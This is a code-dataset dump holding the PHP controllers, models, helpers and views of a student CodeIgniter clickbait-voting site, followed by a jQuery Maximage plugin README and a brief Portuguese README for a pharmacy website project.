branch_name
stringclasses
149 values
text
stringlengths
23
89.3M
directory_id
stringlengths
40
40
languages
listlengths
1
19
num_files
int64
1
11.8k
repo_language
stringclasses
38 values
repo_name
stringlengths
6
114
revision_id
stringlengths
40
40
snapshot_id
stringlengths
40
40
refs/heads/master
<repo_name>Chiplex/ci_proyect<file_sep>/application/helpers/main_menu_helper.php <?php /** * Con el fin de reutilizar codigo creamos el helper * con las siguientes funciones * * Creamos esta funcion que retorna el menu para nav */ if (!function_exists('main_menu')) { function main_menu() { $CI =& get_instance(); $item = (array) null; if ($CI->session->userdata('access')) { $item['logout'] = array( 'titulo' => 'Cerrar sesion', 'href' => base_url('sesion/finalizar') ); $item['customize'] = array( 'titulo' => 'Configuración', 'href' => base_url('profile/edit') ); } else { $item['login'] = array( 'titulo' => 'Login', 'href' => base_url('sesion/iniciar') ); $item['registrarse'] = array( 'titulo' => 'Registrarse', 'href' => base_url('sesion/registrar') ); } return $item; } } ?><file_sep>/application/views/dashboard/show.php <main class="pt-7 mb-3 ml-12"> <div class="container-fluid"> <div class="row"> <div class="col-12"> <h1 class="w-100 text-center">Clickbait</h1> <hr> </div> <div class="col-12"> <div class="row"> <div class="col-8"> <div class="row justify-content-center"> <div class="col-md-4"> <?php echo form_open_multipart('dashboard/create');?> <div class="card"> <div class="card-header"> <?= $clickbait['name']?> </div> <div class="card-body"> <div class="form-group"> <h3><?= $clickbait['contenido']; ?></h3> </div> <?php if (isset($error)): ?> <div class="alert alert-danger" role="alert"> <?= $error; ?> </div> <?php endif;?> </div> <div class="card-footer"> <div class="btn-group btn-group-lg" role="group" aria-label="..."> <button class="btn btn-success" data-cc-id=<?= $clickbait['id']?> data-cc-vote="votos_positivos"> <span class="fas fa-thumbs-up" ></span> </button> <button class="btn btn-danger" data-cc-id=<?= $clickbait['id']?> data-cc-vote="votos_negativos"> <span class="fas fa-thumbs-down" ></span> </button> <a href="<?= base_url('clickbait/report')?>" class="btn btn-warning "> <i class="fas fa-flag"></i> </a> </div> </div> <ul class="list-group list-group-flush"> <li class="list-group-item" id="vp">Cras justo odio</li> <li class="list-group-item" id="vn">Dapibus ac facilisis in</li> <li class="list-group-item" id="vd">Vestibulum at eros</li> </ul> </div> </form> </div> </div> </div> <div class="col-4"> <h2>Anuncios </h2> Lorem ipsum dolor sit, amet consectetur adipisicing elit. Error inventore impedit nihil non, itaque iusto hic provident dolores magnam in neque illum consequatur explicabo nisi libero consectetur, numquam assumenda. Facilis. </div> </div> </div> </div> </div> </main> <script> $(document).ready(function () { $('button').click(function (e) { e.preventDefault(); var boton = $(this); var dataSend = { id: boton.attr('data-cc-id'), vote: boton.attr('data-cc-vote') }; $.ajax({ type: "POST", url: "<?= base_url('clickbait/to_vote')?>", data: dataSend, success: function (response) { } }); }); }); </script><file_sep>/application/controllers/Login.php <?php defined('BASEPATH') OR exit('No direct script access allowed'); class Login extends CI_Controller { public function __construct() { parent::__construct(); $this->load->library('form_validation'); $this->load->model('User'); } public function acceder() { if($this->session->userdata('access')) redirect('dashboard','refresh'); /** * Al momento de cargar el helper podemos llamar a * sus funciones */ $data['menu'] = main_menu(); // Obtenemos la sesion de la persona $data['access'] = $this->session->userdata('access'); // Helper de reglas de validacion $this->load->helper('login_validation'); // Enviamos las la configuracion de reglas del helper form_validatin en el metodo set_rules() $this->form_validation->set_rules(rules_login()); if ($this->form_validation->run()) { // Obtenemos datos del formulario $email = $this->input->post('email', TRUE); $password = $this->input->post('password', TRUE); // Armamos el arreglo $user = array( 'email' => $email, 'password' => $<PASSWORD> ); // regresamos a la página con los errores // preguntamos si existe las credenciales? // Establecemos las vaiables de sesion e iniciamos sesion $row_user = $this->User->Login($user); if ($row_user) { // Creacion de variables de sesion // Recibimos los datos del metodo login del modelo User $sesion = array( 'id' => $data->id, 'name'=> $data->name, 'auth' => $data->auth, 'access' => TRUE ); // Cargamos la libreria 'session' desde autoload // Iniciamos sesion con set_userdata($data) $this->session->set_userdata($sesion); // Datos que se mostrarán como solicitud de un request // Establecemos flashdata con set_flashdata() con mensaje de bienvienida al usuario $this->session->set_flashdata('msg', 'Usuario a iniciado sesion'. $data->name); // Redireccionar el exito del formulario de login y registro con funcion helper url: redirect() redirect('dashboard','refresh'); } } $this->load->view('assets/header'); $this->load->view('assets/nav', $data); $this->load->view('autenticacion/login', $data); $this->load->view('assets/footer'); } // Crear el metodo logout con sess_destroy() public function logout() { } } /* End of file Login.php */ <file_sep>/application/views/assets/nav.php <nav class="navbar navbar-expand-lg navbar-dark bg-dark fixed-top "> <a class="navbar-brand " href="<?= base_url()?>">Clasificación</a> <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation"> <span class="navbar-toggler-icon"></span> </button> <div class="collapse navbar-collapse" id="navbarSupportedContent"> <form class="form-inline"> <input class="form-control mr-sm-2" type="search" placeholder="Search" aria-label="Search"> <button class="btn btn-outline-success my-2 my-sm-0" type="submit">Search</button> </form> <ul class="navbar-nav ml-auto"> <li class="nav-item"> <a href="<?= base_url('clickbait/new')?>" class="nav-link"> Nuevo Clickbait </a> </li> <?php if ($access == TRUE):?> <li class="nav-item dropdown"> <a class="nav-link dropdown-toggle" href="#" id="navbarDropdownMenuLink" role="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <img src="/docs/4.3/assets/brand/bootstrap-solid.svg" width="30" height="30" alt=""> </a> <div class="dropdown-menu dropdown-menu-right" aria-labelledby="navbarDropdownMenuLink"> <?php foreach ($menu as $item) : ?> <a class="dropdown-item" href="<?php echo $item['href']?>"> <?php echo $item['titulo']; ?> </a> <?php endforeach ?> </div> </li> <?php else: ?> <?php foreach ($menu as $item): ?> <li class="nav-item"> <a href="<?php echo $item['href']?>" class="nav-link"> <?php echo $item['titulo']; ?> </a> </li> <?php endforeach; ?> <?php endif; ?> </ul> </div> </nav> <file_sep>/application/controllers/Clasificacion.php <?php defined('BASEPATH') OR exit('No direct script access allowed'); class Clasificacion extends CI_Controller { public function __construct() { parent::__construct(); $this->load->model('clickbait'); } public function index() { $data['cookie'] = get_cookie('correo_enviado'); $data['clickbait'] = array(); $this->load->library('pagination'); $config['base_url'] = base_url('clickbait/page'); $config['total_rows'] = $this->clickbait->get_count(); $config['per_page'] = 9; $config['uri_segment'] = 3; $config['full_tag_open'] = '<ul class="pagination">'; $config['full_tag_close'] = '</ul>'; $config['first_link'] = 'Primero'; $config['first_tag_open'] = '<li class="page-item">'; $config['first_tag_close'] = '</li>'; $config['last_link'] = 'Ultimo'; $config['last_tag_open'] = '<li class="page-item">'; $config['last_tag_close'] = '</li>'; // $config['next_link'] = '&gt;'; $config['next_tag_open'] = '<li class="page-item">'; $config['next_tag_close'] = '</li>'; // $config['prev_link'] = '&lt;'; $config['prev_tag_open'] = '<li class="page-item">'; $config['prev_tag_close'] = '</li>'; $config['cur_tag_open'] = "<li class='page-item active'><a href='#' class='page-link'>"; $config['cur_tag_close'] = "</a></li>"; $config['num_tag_open'] = '<div>'; $config['num_tag_close'] = '</div>'; $config['attributes'] = array('class' => 'page-link'); $config['attributes']['rel'] = FALSE; $this->pagination->initialize($config); $data['_links'] = $this->pagination->create_links(); $data['clickbaits'] = $this->clickbait->all_by_user(array('limit' => $config['per_page'], 'offset' => $this->uri->segment(3) )); $data['count'] = $this->clickbait->get_count(); $this->generateView('clasificacion/home', $data); } public function filter() { } public function to_report() { $this->input->set_cookie('correo_enviado', 'true', '3600'); $config = Array( 'protocol' => 'smtp', 'smtp_host' => 'smtp.mailtrap.io', 'smtp_port' => 2525, 'smtp_user' => '<PASSWORD>', 'smtp_pass' => '<PASSWORD>', 'crlf' => "\r\n", 'newline' => "\r\n", 'mailtype' => 'html' ); $this->load->library('email', $config); $this->email->from('<EMAIL>', 'Alex'); $this->email->to('<EMAIL>'); $this->email->subject('Reportaron tu clickbait'); $correo = $this->load->view('email', '', TRUE); $this->email->message($correo); $this->email->send(); } public function to_vote() { $this->clickbait->update_votes($this->input->post()); } public function generateView($vista, $data = null) { $data['menu'] = main_menu(); $data['access'] = $this->session->all_userdata(); $this->load->view('assets/header'); $this->load->view('assets/nav', $data); $this->load->view('assets/aside', $data); $this->load->view($vista, $data); $this->load->view('assets/footer'); } } /* End of file clasificacion.php */ /* Location: ./application/controllers/clasificacion.php */ ?><file_sep>/application/helpers/clasificacion_validation_helper.php <?php if (!function_exists('clickbait_rules')) { function clickbait_rules() { $message = array( 'required' => 'El campo {field} es requrido', 'max_length' => 'El campo {field} supera los {param} caracteres', 'min_length' => 'El campo {field} no supera los {param} caracteres' ); return array( array( 'field' => 'contenido', 'label' => 'contenido', 'rules' => 'required|is_unique[clickbait.contenido]', 'errors' => $message ) ); } }<file_sep>/application/views/sesion/iniciar.php <main class="pt-7 pb-3 ml-12"> <div class="container-fluid"> <div class="row"> <div class="col-12"> <h1>Iniciar Sesión</h1> <hr> </div> <div class="col-md-6 offset-md-3"> <form method="post" action="<?php echo base_url('sesion/iniciar'); ?>"> <div class="card"> <div class="card-body"> <div class="form-group"> <label for="exampleInputEmail1">Correo Electronico</label> <input type="email" class="form-control" id="exampleInputEmail1" aria-describedby="emailHelp" name ="email"> </div> <div class="form-group"> <label for="exampleInputPassword1">Contraseña</label> <input type="<PASSWORD>" class="form-control" id="exampleInputPassword1" name="password"> </div> <!-- <div class="form-group form-check"> <input type="checkbox" class="form-check-input" id="exampleCheck1"> <label class="form-check-label" for="exampleCheck1">Check me out</label> </div> --> <?php if (isset($login_failed)) :?> <div class="form-group"> <div class="alert alert-danger" role="alert"> <?= $login_failed; ?> </div> </div> <?php endif; ?> <button type="submit" class="btn btn-primary">Ingresar</button> <?php echo validation_errors('<div class="alert alert-danger mt-3" role="alert">', '</div>')?> </div> </div> </form> </div> </div> </div> </main><file_sep>/application/models/User.php <?php defined('BASEPATH') OR exit('No direct script access allowed'); class User extends CI_Model { protected $table = 'user'; public function search($data) { return $this->db->get_where($this->table, $data)->row_array() ?? false; } public function find($id) { return $this->db->get_where($this->table, array('id' => $id))->row_array() ?? false; } public function Insert($user) { if ($this->db->insert($this->table, $user)) { return true; } else { return false; } } } /* End of file User.php */ <file_sep>/application/views/dashboard/home.php <main class="pt-7 pb-3 ml-12"> <div class="container-fluid"> <div class="row"> <div class="col-12"> <h1 class="w-100 text-center">Clasificacion</h1> <hr> </div> <div class="col-12"> <div class="row"> <div class="col-8"> <nav class="nav"> <li class="nav-item"> <a class="btn btn-link" data-toggle="collapse" href="#filter" role="button" aria-expanded="false" aria-controls="filter">Filtros</a> </li> <div class="collapse" id="filter"> <div class="card card-body"> Anim pariatur cliche reprehenderit, enim eiusmod high life accusamus terry richardson ad squid. Nihil anim keffiyeh helvetica, craft beer labore wes anderson cred nesciunt sapiente ea proident. </div> </div> </nav> <div class="card-columns mt-3"> <?php foreach($clickbaits as $clickbait): ?> <div class="card"> <div class="card-header"> <?= $clickbait['name']?> </div> <div class="card-body"> <?= $clickbait['contenido']?> </div> <div class="card-footer"> <button type="submit" class="btn btn-success"><i class="fas fa-thumbs-up"></i></button> <button type="submit" class="btn btn-danger"><i class="fas fa-thumbs-down"></i></button> <a href="<?= base_url('clasificacion/to_report')?>" class="btn btn-warning"><i class="fas fa-flag"></i></a> </div> </div> <?php endforeach;?> </div> <div class="d-flex justify-content-center"> <nav aria-label="Page navigation"> <?= $_links?> </nav> </div> </div> <div class="col-4"> <h2>Anuncios </h2> Lorem ipsum dolor sit, amet consectetur adipisicing elit. Error inventore impedit nihil non, itaque iusto hic provident dolores magnam in neque illum consequatur explicabo nisi libero consectetur, numquam assumenda. Facilis. </div> </div> </div> </div> </div> </main> <script> $.ajax({ type: "POST", contentType: "application/json; charset=utf-8", dataType: "dataType", url: "url", data: "data", success: function (response) { } }); </script><file_sep>/application/views/sesion/customizar.php <main class="pt-7 pb-3 ml-12"> <div class="container-fluid"> <div class="row"> <div class="col-12"> <h1>Customización</h1> <hr> </div> <div class="col-md-6 offset-md-3"> <?php echo form_open_multipart('profile/update');?> <div class="card"> <ul class="list-group list-group-flush"> <li class="list-group-item font-weight-bold">Principal</li> </ul> <div class="card-body"> <div class="form-group"> <label for="name">Nombre</label><input type="text" name="name" value="<?= $user['name']; ?>" class="form-control" /> <div class="text-danger"></div> </div> <div class="form-group"> <label for="email">Correo</label><input type="text" name="email" value="<?= $user['email']; ?>" class="form-control" /> <div class="text-danger"></div> </div> </div> <ul class="list-group list-group-flush"> <li class="list-group-item font-weight-bold">Seguridad</li> </ul> <div class="card-body"> <div class="form-group"> <label for="password">Contraseña</label> <input type="<PASSWORD>" name="password" class="form-control" /> </div> <div class="form-group"> <label for="password">Confirmar Contraseña</label> <input type="password" name="confirm_password" class="form-control" /> <div class="text-danger"></div> </div> </div> <ul class="list-group list-group-flush"> <li class="list-group-item font-weight-bold">Avatar</li> </ul> <img src="" class="card-img-top" alt="..."> <div class="card-body"> <div class="form-group"> <label for="avatar">Cambiar Avatar</label> <input type="file" name="file" class="form-control"> </div> <button type="submit" class="btn btn-primary">Submit</button> </div> </div> </form> </div> </div> </div> </main><file_sep>/application/controllers/Profile.php <?php defined('BASEPATH') OR exit('No direct script access allowed'); class Profile extends CI_Controller { public function __construct() { parent::__construct(); $this->load->model('User'); $this->load->helper('profile_validation'); $this->load->helper('form'); } public function index() { } public function edit() { $data['user'] = $this->User->find($this->session->userdata('id')); $this->generateView('sesion/customizar', $data); } public function update() { $this->load->library('upload'); $this->upload->initialize(avatar_file_config()); echo "<pre>"; var_dump($this->upload->do_upload('file')); echo "</pre>"; if ($this->upload->do_upload()){ $data['upload_data'] = $this->upload->data(); redirect('dashboard'); } echo "<pre>"; print_r ($this->upload->display_errors()); echo "</pre>"; } public function generateView($vista, $data = null) { $data['menu'] = main_menu(); $data['access'] = $this->session->all_userdata(); $this->load->view('assets/header'); $this->load->view('assets/nav', $data); $this->load->view('assets/aside', $data); $this->load->view($vista, $data); $this->load->view('assets/footer'); } } /* End of file Profile.php */ <file_sep>/application/models/Clickbait.php <?php defined('BASEPATH') OR exit('No direct script access allowed'); class Clickbait extends CI_Model { protected $table = 'clickbait'; public function all($array = '') { return $this->db->get($this->table, $array['limit'], $array['offset'])->result_array(); } public function insert($data) { return $this->db->insert($this->table, $data) ? $this->db->insert_id(): false; } public function find($data) { $this->db->select('u.name, c.contenido, c.id'); $this->db->from('clickbait c'); $this->db->join('user u', 'u.id = c.user_id', 'left'); $this->db->where('c.id', $data); return $this->db->get()->row_array(); } public function get_count() { return $this->db->count_all($this->table); } public function all_by_user($array) { $this->db->select('u.name, c.contenido, c.id'); $this->db->from('clickbait c'); $this->db->join('user u', 'u.id = c.user_id', 'left'); $this->db->limit( $array['limit'], $array['offset']); return $this->db->get()->result_array(); } public function update_votes($vote) { $where = array('id' => $vote['id']); $result = $this->db->get_where($this->table, $where)->row_array(); $result[$vote['vote']]++; $this->db->where($where); $this->db->update($this->table, $result); return TRUE; } } /* End of file Clickbait.php */ <file_sep>/application/controllers/Dashboard.php <?php defined('BASEPATH') OR exit('No direct script access allowed'); class Dashboard extends CI_Controller { public function __construct() { parent::__construct(); $this->load->model('clickbait'); } public function index() { if (!$this->session->userdata('access')) redirect('sesion/iniciar'); // Mostramos en pantalla el flashdata en caso de que inició sesión $data['flashdata'] = $this->session->flashdata('msg'); $this->generateView('home', $data); } public function show($id) { $data['clickbait'] = $this->clickbait->find($id); $this->generateView('dashboard/show', $data); } public function create() { if (!$this->session->userdata('access')) redirect('sesion/iniciar'); $data = array(); $this->load->library('form_validation'); $this->load->helper('clasificacion_validation'); $this->form_validation->set_rules(clickbait_rules()); if ($this->form_validation->run()) { $clickbait = array( 'user_id' => $this->session->userdata('id'), 'contenido' => $this->input->post('contenido') ); $id = $this->clickbait->insert($clickbait); redirect('dashboard/show/'.$id); } else { $data['error'] = validation_errors(); } $this->generateView('dashboard/clickbait', $data); } public function reports() { $this->generateView('dashboard/reports', $data); } public function generateView($vista, $data = null) { $data['menu'] = main_menu(); $data['access'] = $this->session->all_userdata(); $this->load->view('assets/header'); $this->load->view('assets/nav', $data); $this->load->view('assets/aside', $data); $this->load->view($vista, $data); $this->load->view('assets/footer'); } } /* End of file Dashboard.php */ <file_sep>/application/helpers/session_validation_helper.php <?php // Creamos un helper de configuracion de validación por reglas para Login if (!function_exists('login_rules')) { function login_rules() { return array( array( 'field' => 'email', 'label' => 'Correo Electronico', 'rules' => 'required|valid_email', 'errors' => array( 'required' => 'El campo %s es requrido' ) ), array( 'field' => 'password', 'label' => 'Contraseña', 'rules' => 'required', 'errors' => array( 'required' => 'El campo %s es requrido' ) ) ); } } if (!function_exists('register_rules')) { function register_rules() { $message = array( 'required' => 'El campo {field} es requrido', 'max_length' => 'El campo {field} supera los {param} caracteres', 'min_length' => 'El campo {field} no supera los {param} caracteres' ); return array( array( 'field' => 'name', 'label' => 'nombre', 'rules' => 'trim|required|min_length[2]|max_length[100]', 'errors' => $message ), array( 'field' => 'email', 'label' => 'Correo Electronico', 'rules' => 'trim|required|min_length[5]|max_length[100]|valid_email', 'errors' => $message ), array( 'field' => 'password', 'label' => 'Contraseña', 'rules' => 'trim|required|min_length[4]|max_length[16]', 'errors' => $message ) ); } }<file_sep>/application/views/clasificacion/home.php <main class="pt-7 pb-3 ml-12"> <div class="container-fluid"> <div class="row"> <div class="col-12"> <h1 class="w-100 text-center">Clasificacion</h1> <hr> </div> <div class="col-12"> <div class="row"> <div class="col-sm-12 col-md-12 col-lg-8"> <nav class="nav"> <li class="nav-item"> <a class="btn btn-link" data-toggle="collapse" href="#filter" role="button" aria-expanded="false" aria-controls="filter">Filtros</a> </li> <div class="collapse" id="filter"> <div class="card card-body"> Anim pariatur cliche reprehenderit, enim eiusmod high life accusamus terry richardson ad squid. Nihil anim keffiyeh helvetica, craft beer labore wes anderson cred nesciunt sapiente ea proident. </div> </div> </nav> <div class="card-columns mt-3"> <?php foreach($clickbaits as $clickbait): ?> <div class="card"> <div class="card-header"> <?= $clickbait['name']?> </div> <div class="card-body"> <?= $clickbait['contenido']?> </div> <div class="card-footer"> <div class="btn-group btn-group-sm" role="group" aria-label="..."> <button class="btn btn-success" data-cc-id=<?= $clickbait['id']?> data-cc-vote="votos_positivos"> <span class="fas fa-thumbs-up" ></span> </button> <button class="btn btn-danger" data-cc-id=<?= $clickbait['id']?> data-cc-vote="votos_negativos"> <span class="fas fa-thumbs-down" ></span> </button> <a href="<?= base_url('clickbait/'.$clickbait['id'])?>" class="btn btn-primary"> <i class="fas fa-eye"></i> </a> <a href="<?= base_url('clickbait/report')?>" class="btn btn-warning <?php if($cookie != ''): ?> disabled <?php endif; ?>" > <i class="fas fa-flag"></i> </a> </div> </div> </div> <?php endforeach;?> </div> <div class="d-flex justify-content-center"> <nav aria-label="Page navigation"> <?= $_links?> </nav> </div> </div> <div class="col-sm-12 col-md-12 col-lg-4"> <h2>Anuncios </h2> Lorem ipsum dolor sit, amet consectetur adipisicing elit. Error inventore impedit nihil non, itaque iusto hic provident dolores magnam in neque illum consequatur explicabo nisi libero consectetur, numquam assumenda. Facilis. </div> </div> </div> </div> </div> </main> <script> $(document).ready(function () { $('button').click(function (e) { e.preventDefault(); var boton = $(this); var dataSend = { id: boton.attr('data-cc-id'), vote: boton.attr('data-cc-vote') }; $.ajax({ type: "POST", url: "<?= base_url('clickbait/to_vote')?>", data: dataSend, success: function (response) { } }); }); }); </script><file_sep>/application/controllers/Sesion.php <?php defined('BASEPATH') OR exit('No direct script access allowed'); class Sesion extends CI_Controller { public function __construct() { parent::__construct(); $this->load->helper('session_validation'); $this->load->library('form_validation'); $this->load->library('encryption'); $this->load->model('User'); } public function iniciar() { if($this->session->userdata('access')) redirect('dashboard','refresh'); $this->form_validation->set_rules(login_rules()); $data = (array) null; if ($this->form_validation->run()) { $search['email'] = $this->input->post('email'); $data_user = $this->User->search($search); if (password_verify($this->input->post('password'), $data_user['password'])) { // Creacion de variables de sesion $credencial = array( 'id' => $data_user['id'], 'name'=> $data_user['name'], 'auth' => $data_user['auth'], 'access' => TRUE ); // Cargamos la libreria 'session' desde autoload // Iniciamos sesion con set_userdata($data) $this->session->set_userdata($credencial); // Establecemos flashdata con set_flashdata() con mensaje de bienvienida al usuario $this->session->set_flashdata('msg', 'Usuario a iniciado sesion: '. $data_user['name']); // Redireccionar el exito del formulario de login y registro con funcion helper url: redirect() redirect('dashboard'); } $data['login_failed'] = 'Usuario o contraseña estan incorrectos'; } $this->generateView('sesion/iniciar', $data); } public function finalizar() { if (!$this->session->userdata('access')) redirect('login'); $this->session->sess_destroy(); redirect('sesion/iniciar','refresh'); } public function registrar() { $this->load->library('form_validation'); $data['menu'] = main_menu(); // Creamos las reglas del formulario con el metodo set_rules() $this->form_validation->set_rules(register_rules()); if ($this->form_validation->run() == TRUE) { $user = $this->input->post(); $user['password'] = password_hash($user['password'], PASSWORD_DEFAULT); $this->User->Insert($user); redirect('sesion/iniciar'); } $this->generateView("sesion/registrar", $data); } public function generateView($vista, $data = null) { $data['menu'] = main_menu(); $data['access'] = $this->session->all_userdata(); $this->load->view('assets/header'); $this->load->view('assets/nav', $data); $this->load->view('assets/aside', $data); $this->load->view($vista, $data); $this->load->view('assets/footer'); } } /* End of file Sesion.php */ <file_sep>/application/views/home.php <h3><?= $flashdata ?></h3><file_sep>/application/views/sesion/registrar.php <div class="row"> <div class="col-md-6 offset-md-3"> <div class="card"> <div class="card-body"> <form method="post" action="<?php echo base_url('sesion/registrar'); ?>"> <div class="form-group"> <?php echo form_error(); // <label for=name>Cual es tu name</label> echo form_label('Nombre', 'name'); // <input name="name"> * Reincluir datos en el formulario con la funcion set_value('[field]') echo form_input('name', set_value('name'), 'class="form-control"'); // Mostramos errores individualmente con la funcion helper form_error('field_mame') ?> <!-- Aplicar clases bootstrap para indicar los errores --> <div class="text-danger"><?= form_error('name') ?></div> </div> <div class="form-group"> <?php // <label for=email>Correo electronico</label> echo form_label('Correo', 'email'); // input email * Reincluir datos en el formulario con la funcion set_value('[field]') echo form_input('email', set_value('email'), 'class="form-control"'); // Mostramos errores individualmente con la funcion helper form_error('field_mame') ?> <!-- Aplicar clases bootstrap para indicar los errores --> <div class="text-danger"><?= form_error('email') ?></div> </div> <div class="form-group"> <?php // label password echo form_label('Contraseña', '<PASSWORD>'); // input password con su funcion echo form_password('password', '', 'class="form-control"'); ?> <!-- Aplicar clases bootstrap para indicar los errores --> <div class="text-danger"><?= form_error('password') ?></div> </div> <button type="submit" class="btn btn-primary">Submit</button> </form> </div> </div> </div> </div> <file_sep>/application/helpers/view_helper.php <?php if (!function_exists('generate_view')) { function generate_view($view, $data = '') { $CI =& get_instance(); if ($CI->session->userdata('access')) { $data['logout'] = array( 'titulo' => 'Cerrar sesion', 'href' => base_url('sesion/finalizar') ); $data['customize'] = array( 'titulo' => 'Configuración', 'href' => base_url('profile/edit') ); } else { $data['login'] = array( 'titulo' => 'Login', 'href' => base_url('sesion/iniciar') ); $data['registrarse'] = array( 'titulo' => 'Registrarse', 'href' => base_url('sesion/registrar') ); } $CI->load->view('assets/header'); $CI->load->view('assets/nav', $data); $CI->load->view('assets/aside', $data); $CI->load->view($vista, $data); $CI->load->view('assets/footer'); } }<file_sep>/application/views/listado.php <h1>Listado General</h1> <ul> <?php foreach ($Razas as $raza): ?> <li><?php echo $raza; ?></li> <?php endforeach ?> </ul> <file_sep>/application/controllers/Register.php <?php defined('BASEPATH') OR exit('No direct script access allowed'); class Register extends CI_Controller { public function __construct() { parent::__construct(); $this->load->model('User'); } public function index() { $data['menu'] = main_menu(); $this->load->view('assets/header'); $this->load->view('assets/nav', $data); $this->load->view('autenticacion/register', $data); $this->load->view('assets/footer'); } public function create() { // https://codeigniter.com/user_guide/libraries/form_validation.html $this->load->library('form_validation'); $data['menu'] = main_menu(); // Creamos las reglas del formulario con el metodo set_rules() $this->form_validation->set_rules('name', 'Nombre', 'trim|required|min_length[2]|max_length[100]'); $this->form_validation->set_rules('email', 'Correo Electronico', 'trim|required|min_length[5]|max_length[100]|valid_email'); $this->form_validation->set_rules('password', '<PASSWORD>', 'trim|required|min_length[4]|max_length[16]'); // Establecer mensajes de error con set_message('rule', 'message') {field} $this->form_validation->set_message('required', 'El campo %s es requerido'); $this->form_validation->set_message('max_length', 'El campo supera los 100 caracteres'); $this->form_validation->set_message('min_length', 'El campo no supera los 4 caracteres'); // Ejecutamos las validacion con el metodo run() en conjunto preguntamos el exito de ello if ($this->form_validation->run() == TRUE) { $name = $this->input->post("name"); $email = $this->input->post("email"); $password = $this->input->post("password"); $user = array( 'name' => $name, 'email' => $email, 'password' => $<PASSWORD> ); $data['msg'] = "Datos recibidos correctamente"; $this->User->Insert($user); $this->generateView("home", $data); } else { $this->generateView("autenticacion/register", $data); } } public function generateView($vista, $data) { $this->load->view('assets/header'); $this->load->view('assets/nav', $data); $this->load->view($vista, $data); $this->load->view('assets/footer'); } } <file_sep>/application/views/dashboard/clickbait.php <main class="pt-7 mb-3 ml-12"> <div class="container-fluid"> <div class="row"> <div class="col-12"> <h1 class="w-100 text-center">Crear polémica</h1> <hr> </div> <div class="col-12"> <div class="row"> <div class="col-8"> <?php echo form_open_multipart('dashboard/create');?> <div class="card"> <div class="card-header"> Contenido </div> <div class="card-body"> <div class="form-group"> <textarea name="contenido" id="" cols="30" rows="5" class="form-control"></textarea> <div class="text-danger"></div> </div> <?php if ($error != ''): ?> <div class="alert alert-danger" role="alert"> <?= $error; ?> </div> <?php endif;?> </div> <div class="card-footer"> <button type="submit" class="btn btn-primary btn-block">Subir</button> </div> </div> </form> </div> <div class="col-4"> <h2>Anuncios </h2> Lorem ipsum dolor sit, amet consectetur adipisicing elit. Error inventore impedit nihil non, itaque iusto hic provident dolores magnam in neque illum consequatur explicabo nisi libero consectetur, numquam assumenda. Facilis. </div> </div> </div> </div> </div> </main><file_sep>/application/helpers/profile_validation_helper.php <?php if (!function_exists('avatar_file_config')) { function avatar_file_config() { return array( 'upload_path' => "./assets/uploads/", 'allowed_types' => "gif|jpg|png|jpeg|pdf", 'overwrite' => TRUE, 'max_size' => "2048000", // Can be set to particular file size , here it is 2 MB(2048 Kb) // 'max_height' => "768", // 'max_width' => "1024" ); } } if (!function_exists('profile_rules')) { function profile_rules() { $message = array( 'required' => 'El campo {field} es requrido', 'max_length' => 'El campo {field} supera los {param} caracteres', 'min_length' => 'El campo {field} no supera los {param} caracteres' ); return array( array( 'field' => 'name', 'label' => 'nombre', 'rules' => 'trim|min_length[2]|max_length[100]', 'errors' => $message ), array( 'field' => 'email', 'label' => 'Correo Electronico', 'rules' => 'trim|min_length[5]|max_length[100]|valid_email', 'errors' => $message ), array( 'field' => 'password', 'label' => 'Contraseña', 'rules' => 'trim|min_length[4]|max_length[16]', 'errors' => $message ), array( 'field' => 'avatar', 'label' => 'Avatar', 'rules' => '', 'errors' => $message ) ); } }
e2d824edef453138868df301850ed3db2178598a
[ "PHP" ]
23
PHP
Chiplex/ci_proyect
ce5e0e628ef8c9c50ea37e5734930bc5d07d6d64
7b5422019714c5684ee6813eeda37552e9a4e81d
refs/heads/master
<file_sep>## Currently at Version 2.0.8 Documentation can be found at: http://blog.aaronvanderzwan.com/2012/07/maximage-2-0/ Full demo can be found at: http://www.aaronvanderzwan.com/maximage/2.0/ ## Known Issues: * HTML5 video fallbacks for IE7 & IE8 currently do not fill the screen within a slideshow. I am working on this currently, but if this is important to you, please use another slideshow for the time being and check back for updates as this has proven more complex than was expected. ## Changelog: Version 2.0.8: * [Fixed] With jQuery removing $.browser Maximage now does it's own browser detection. Version 2.0.7: * [Fixed] I have completely rewritten the Old.preload() method to avoid a Stack Overflow bug found in IE7 & IE8 if there are more than 13 slides. * [Added] QUnit tests in /tests Version 2.0.6: * [Added] Add ability for backgroundSize option to be passed as a function to the plugin. This way you can completely customize how you want the image to resize. See example @ http://www.aaronvanderzwan.com/maximage/2.0/#CustomBGSize * [Added] Added a landing page with code explanations for some examples. Version 2.0.5: * Now you can call maximage on any object and it will fill and center it (pass it a string, 'maxcover', 'maxcontain', 'fill' or 'center'). This makes it really easy to have any visual element be the fullscreen background element of the slideshow (HTML5 video, etc). A small explanation / tutorial can be found at: http://blog.aaronvanderzwan.com/forums/topic/maximage-cover-helper-function/ * Exposed options to be global * Created "Adjust" object to handle math for fit and center functions * Remove Timer object (it wasn't being used anymore) Version 2.0.4: * Added CSS transitions as the default 'easing' cycle option (Thanks to <NAME> for this idea [http://partlyhuman.com/]) * Added "cssTransitions" option that can force the plugin to run without using CSS transitions * Renamed "noBackgroundCSS" to "cssBackgroundSize" and changed the default to "true" * Added browser detection for CSS transitions and BackgroundSize to avoid dependence on Modernizr * Removed Jquery Easing plugin from the demo as I was not using it anyways Version 2.0.3: * Added "noBackgroundCSS" option that forces the plugin to run without using CSS3's background-size Version 2.0.2: * Added "fillElement" option that provides the ability to constrain your slideshow to a container element (not just the window) Version 2.0.1: * Added backgroundSize option so that older browsers can act as though they support CSS3 background-size:contain * Now using dynamic backgroundSize CSS3 check for older browser functionality Version 2.0: * Fixed compatibility with older browsers, specifically a bug that was creating white space after browser resize Version 2.0-beta3: * Added ability to add other HTML within Slides (still to be tested in pre-CSS3 browsers) ## Past Fork Notes re: alancwoo - Added the ability to use a data-href attribute on the images. Thus one can now use this attribute for various things such as jquery tooltips, click functions etc.<file_sep># SiteFarmaciaDeManipulacao Projeto construído para disciplina de Web Design do Curso Técnico em Informática da Escola Técnica Estadual Professor <NAME> - ETE ### Tecnologias - [JavaScript](https://devdocs.io/javascript/) - [Bootstrap](https://getbootstrap.com/docs/5.0/getting-started/introduction/) - [JQuery](https://jquery.com/) ## 🔥 Preview 